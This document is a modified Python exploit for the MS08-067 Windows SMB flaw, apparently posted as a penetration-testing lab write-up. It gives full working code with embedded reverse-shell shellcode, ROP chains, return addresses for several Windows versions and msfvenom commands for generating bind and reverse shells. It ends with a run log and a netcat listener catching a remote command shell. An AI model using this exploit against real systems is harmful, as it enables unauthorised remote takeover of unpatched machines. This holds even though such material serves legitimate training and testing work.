ms08-067.py

Modified ms08-067.py

code:

#!/usr/bin/env python
import struct
import time
import sys
from threading import Thread # Thread is imported incase you would like to modify

try:
from impacket import smb
from impacket import uuid
#from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport

except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : https://github.com/CoreSecurity/impacket.git'
print 'PyCrypto : https://pypi.python.org/pypi/pycrypto'
sys.exit(1)

print '#######################################################################'
print '# MS08-067 Exploit'
print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
print '#'
print '# Mod in 2018 by Andy Acer'
print '# - Added support for selecting a target port at the command line.'
print '# - Changed library calls to allow for establishing a NetBIOS session for SMB transport'
print '# - Changed shellcode handling to allow for variable length shellcode.'
print '#######################################################################\n'

print ('''
$ This version requires the Python Impacket library version to 0_9_17 or newer.
$
$ Here's how to upgrade if necessary:
$
$ git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
$ cd impacket
$ pip install .

''')

print '#######################################################################\n'


# ------------------------------------------------------------------------
# REPLACE THIS SHELLCODE with shellcode generated for your use
# Note that length checking logic follows this section, so there's no need to count bytes or bother with NOPS.
#
# Example msfvenom commands to generate shellcode:
# msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.112 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.112 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

# Reverse TCP to 10.11.0.112 port 443:
shellcode=(
"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x94\xda\xe5\x99\x83\xee\xfc\xe2\xf4\x68\x32\x67\x99\x94\xda"
"\x85\x10\x71\xeb\x25\xfd\x1f\x8a\xd5\x12\xc6\xd6\x6e\xcb\x80"
"\x51\x97\xb1\x9b\x6d\xaf\xbf\xa5\x25\x49\xa5\xf5\xa6\xe7\xb5"
"\xb4\x1b\x2a\x94\x95\x1d\x07\x6b\xc6\x8d\x6e\xcb\x84\x51\xaf"
"\xa5\x1f\x96\xf4\xe1\x77\x92\xe4\x48\xc5\x51\xbc\xb9\x95\x09"
"\x6e\xd0\x8c\x39\xdf\xd0\x1f\xee\x6e\x98\x42\xeb\x1a\x35\x55"
"\x15\xe8\x98\x53\xe2\x05\xec\x62\xd9\x98\x61\xaf\xa7\xc1\xec"
"\x70\x82\x6e\xc1\xb0\xdb\x36\xff\x1f\xd6\xae\x12\xcc\xc6\xe4"
"\x4a\x1f\xde\x6e\x98\x44\x53\xa1\xbd\xb0\x81\xbe\xf8\xcd\x80"
"\xb4\x66\x74\x85\xba\xc3\x1f\xc8\x0e\x14\xc9\xb2\xd6\xab\x94"
"\xda\x8d\xee\xe7\xe8\xba\xcd\xfc\x96\x92\xbf\x93\x25\x30\x21"
"\x04\xdb\xe5\x99\xbd\x1e\xb1\xc9\xfc\xf3\x65\xf2\x94\x25\x30"
"\xc9\xc4\x8a\xb5\xd9\xc4\x9a\xb5\xf1\x7e\xd5\x3a\x79\x6b\x0f"
"\x72\xf3\x91\xb2\x49\x89\x91\xdb\x8d\x9b\x94\xdb\x5e\x10\x72"
"\xb0\xf5\xcf\xc3\xb2\x7c\x3c\xe0\xbb\x1a\x4c\x11\x1a\x91\x95"
"\x6b\x94\xed\xec\x78\xb2\x15\x2c\x36\x8c\x1a\x4c\xfc\xb9\x88"
"\xfd\x94\x53\x06\xce\xc3\x8d\xd4\x6f\xfe\xc8\xbc\xcf\x76\x27"
"\x83\x5e\xd0\xfe\xd9\x98\x95\x57\xa1\xbd\x84\x1c\xe5\xdd\xc0"
"\x8a\xb3\xcf\xc2\x9c\xb3\xd7\xc2\x8c\xb6\xcf\xfc\xa3\x29\xa6"
"\x12\x25\x30\x10\x74\x94\xb3\xdf\x6b\xea\x8d\x91\x13\xc7\x85"
"\x66\x41\x61\x05\x84\xbe\xd0\x8d\x3f\x01\x67\x78\x66\x41\xe6"
"\xe3\xe5\x9e\x5a\x1e\x79\xe1\xdf\x5e\xde\x87\xa8\x8a\xf3\x94"
"\x89\x1a\x4c"
)
# ------------------------------------------------------------------------

# Gotta make No-Ops (NOPS) + shellcode = 410 bytes
num_nops = 410 - len(shellcode)
newshellcode = "\x90" * num_nops
newshellcode += shellcode # Add NOPS to the front
shellcode = newshellcode # Switcheroo with the newshellcode temp variable

#print "Shellcode length: %s\n\n" % len(shellcode)

nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" + \
"A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10
disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" * \
28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62"
ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01";
module_base = 0x6f880000


def generate_rop(rvas):
gadget1 = "\x90\x5a\x59\xc3"
gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]
gadget3 = "\xcc\x90\xeb\x5a"
ret = struct.pack('<L', 0x00018000)
ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base)
ret += struct.pack('<L', 0x01040110)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L',
rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget1
ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget2[0]
ret += gadget2[1]
ret += struct.pack('<L', rvas[
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget2[2]
ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget3
return ret


class SRVSVC_Exploit(Thread):
def __init__(self, target, os, port=445):
super(SRVSVC_Exploit, self).__init__()

# MODIFIED HERE
# Changed __port to port ... not sure if that does anything. I'm a newb.
self.port = port
self.target = target
self.os = os

def __DCEPacket(self):
if (self.os == '1'):
print 'Windows XP SP0/SP1 Universal\n'
ret = "\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os == '2'):
print 'Windows 2000 Universal\n'
ret = "\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os == '3'):
print 'Windows 2003 SP0 Universal\n'
ret = "\x9e\x12\x00\x01" # 0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os == '4'):
print 'Windows 2003 SP1 English\n'
ret_dec = "\x8c\x56\x90\x7c" # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = "\xf4\x7c\xa2\x7c" # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = "\xd3\xfe\x86\x7c" # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = "\x13\xe4\x83\x7c" # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (
ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
elif (self.os == '5'):
print 'Windows XP SP3 French (NX)\n'
ret = "\x07\xf8\x5b\x59" # 0x59 5b f8 07
disable_nx = "\xc2\x17\x5c\x59" # 0x59 5c 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '6'):
print 'Windows XP SP3 English (NX)\n'
ret = "\x07\xf8\x88\x6f" # 0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" # 0x6f 89 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '7'):
print 'Windows XP SP3 English (AlwaysOn NX)\n'
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
# the nonxjmper also work in this case.
jumper = generate_rop(rvasets) + "AB"
else:
print 'Not supported OS version\n'
sys.exit(-1)

print '[-]Initiating connection'

# MORE MODIFICATIONS HERE #############################################################################################

if (self.port == '445'):
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
else:
# DCERPCTransportFactory doesn't call SMBTransport with necessary parameters. Calling directly here.
# *SMBSERVER is used to force the library to query the server for its NetBIOS name and use that to 
# establish a NetBIOS Session. The NetBIOS session shows as NBSS in Wireshark.

self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )

self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(
('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"

# NEW HOTNESS
# The Path Length and the "Actual Count" SMB parameter have to match. Path length in bytes
# is double the ActualCount field. MaxCount also seems to match. These fields in the SMB protocol
# store hex values in reverse byte order. So: 36 01 00 00 => 00 00 01 36 => 310. No idea why it's "doubled"
# from 310 to 620. 620 = 410 shellcode + extra stuff in the path.
MaxCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620.
Offset = "\x00\x00\x00\x00"
ActualCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620

self.__stub = server + MaxCount + Offset + ActualCount + \
path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"

return

def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(3)
print 'Exploit finish\n'

if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
port = sys.argv[3]
except IndexError:
print '\nUsage: %s <target ip> <os #> <Port #>\n' % sys.argv[0]
print 'Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445'
print 'Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)'
print 'Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal'
print 'Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English'
print 'Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)'
print 'Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)'
print 'Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)'
print ''
print 'FYI: nmap has a good OS discovery script that pairs well with this exploit:'
print 'nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1'
print ''
sys.exit(-1)


current = SRVSVC_Exploit(target, os, port)
current.start()

Explode with

Usage: ms08-067.py <target ip> <os #> <Port #>

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)

FYI: nmap has a good OS discovery script that pairs well with this exploit:
nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1

root@kali:~/VHL/83# python ms08-067.py 10.15.1.83 6 445
#######################################################################
# MS08-067 Exploit
# This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
#
# Mod in 2018 by Andy Acer
# - Added support for selecting a target port at the command line.
# - Changed library calls to allow for establishing a NetBIOS session for SMB transport
# - Changed shellcode handling to allow for variable length shellcode.
#######################################################################


$ This version requires the Python Impacket library version to 0_9_17 or newer.
$
$ Here's how to upgrade if necessary:
$
$ git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
$ cd impacket
$ pip install .


#######################################################################

Windows XP SP3 English (NX)

[-]Initiating connection
[-]connected to ncacn_np:10.15.1.83[\pipe\browser]
Exploit finish

catch shell

root@kali:~/pwk# nc -lvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.11.x.x.
Ncat: Connection from 10.11.x.x:1670.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Author: Jacco Straathof

reference used : https://github.com/jivoi/pentest/tree/master/exploit_win